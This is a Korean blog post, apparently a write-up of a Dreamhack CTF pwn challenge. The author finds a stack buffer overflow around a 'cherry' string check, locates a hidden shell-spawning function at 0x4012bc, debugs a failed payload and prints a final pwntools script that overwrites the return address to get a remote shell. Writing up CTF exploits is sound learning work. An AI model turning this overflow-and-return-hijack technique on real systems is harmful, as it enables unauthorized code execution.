
문제에서 주어진 코드를 분석하고 익스플로잇 하라고 하니 주어진 코드와 바이너리를 분석해보자

chall.c를 보니 main함수에서 실행되지 않는 flag라는 코드가 존재하고, 이는 쉘을 실행시켜주는 것 같다.
일단 이 flag의 주소를 알아보자

0x4012bc인것을 쉽게 알 수 있다.
이제 코드를 분석하며 취약점을 파악하면 될 것 같다.

문제의 코드를 보니 buf는 사이즈가 6밖에 안되지만 16만큼의 입력을 받을 수 있고, 이를 cherry와 같은지를 파악하는 것도 6자리만 판단하기 때문에 일단 이 부분에서 버퍼 오버플로우가 날 수 있을 것이고, 그 뒤에 있는 read도 마찬가지로 bof가 생길 수 있다.

어셈블리를 분석하니 fruit변수는 rbp-0x12에, buf는 0x18에 저장됨을 알 수 있다.
이들은 돌아가야하는 주소값을 변경하기 위해서 16보다 더 큰 메모리가 필요하기 때문에 첫번째 read에서 사이즈를 정하는 rbp-0xc까지를 변환시켜주고 그 이후 read에서 ret을 변화시켜주면 될것이다.
0x18부터 0xc까지는 6만큼의 차이가 나고, 0x18부분의 첫 6째 자리까지는 cherry여야 하기 때문에

다음과 같이 페이로드를 작성한 후 pwntools를 사용하여 보내냈다.
이후 read에서는 충분한 만큼의 입력을 받을 수 있기 때문에 원하는 위치만 잘 지정해주면 될것이다.

페이로드를 다음과같이 구성하고 실행을 시켜봤다.

이상하다 안된다.
어디가 이상한지 알기 위해 16진수 부분만 c로 바꾸어 디버깅을 시도했다.

이유를 알았다.
C가 0x43인데 초기 3자리만 바뀌고 나머지 자리는 그대로인것이 문제가 됐다.
그럼 간단하게 나머지 앞자리를 \x00으로 채워서 다시 시도를 하면

쉘을 아주 잘 가져오는 것을 볼 수 있다.
이제 ls와 cat flag를 사용하면 문제의 플래그를 얻을 수 있다.
최종 attack.py
#Name: attack.py
from pwn import *
r = remote("host3.dreamhack.games", [포트주소])
payload = b"cherrycherry\x40\x00"
print(f"{r.recv()} : {payload}")
r.sendline(payload);
#0x4012bc
payload = b'a' * (0x12 + 0x8)
payload += b"\xbc\x12\x40\x00\x00\x00\x00\x00"
print(f"{r.recv()} : {payload}")
r.sendline(payload)
r.interactive()
'보안 > 시스템해킹' 카테고리의 다른 글
| [Dreamhack][시스템 해킹] dreamvm (0) | 2026.07.18 |
|---|---|
| [시스템 해킹][Dreamhack] string (0) | 2026.07.11 |
| [시스템 해킹][재활][dreamhack] block bof (0) | 2025.06.25 |
| [Dream Hack] ssp_001 (0) | 2024.05.31 |
| [Dream Hack] no mov (0) | 2024.04.10 |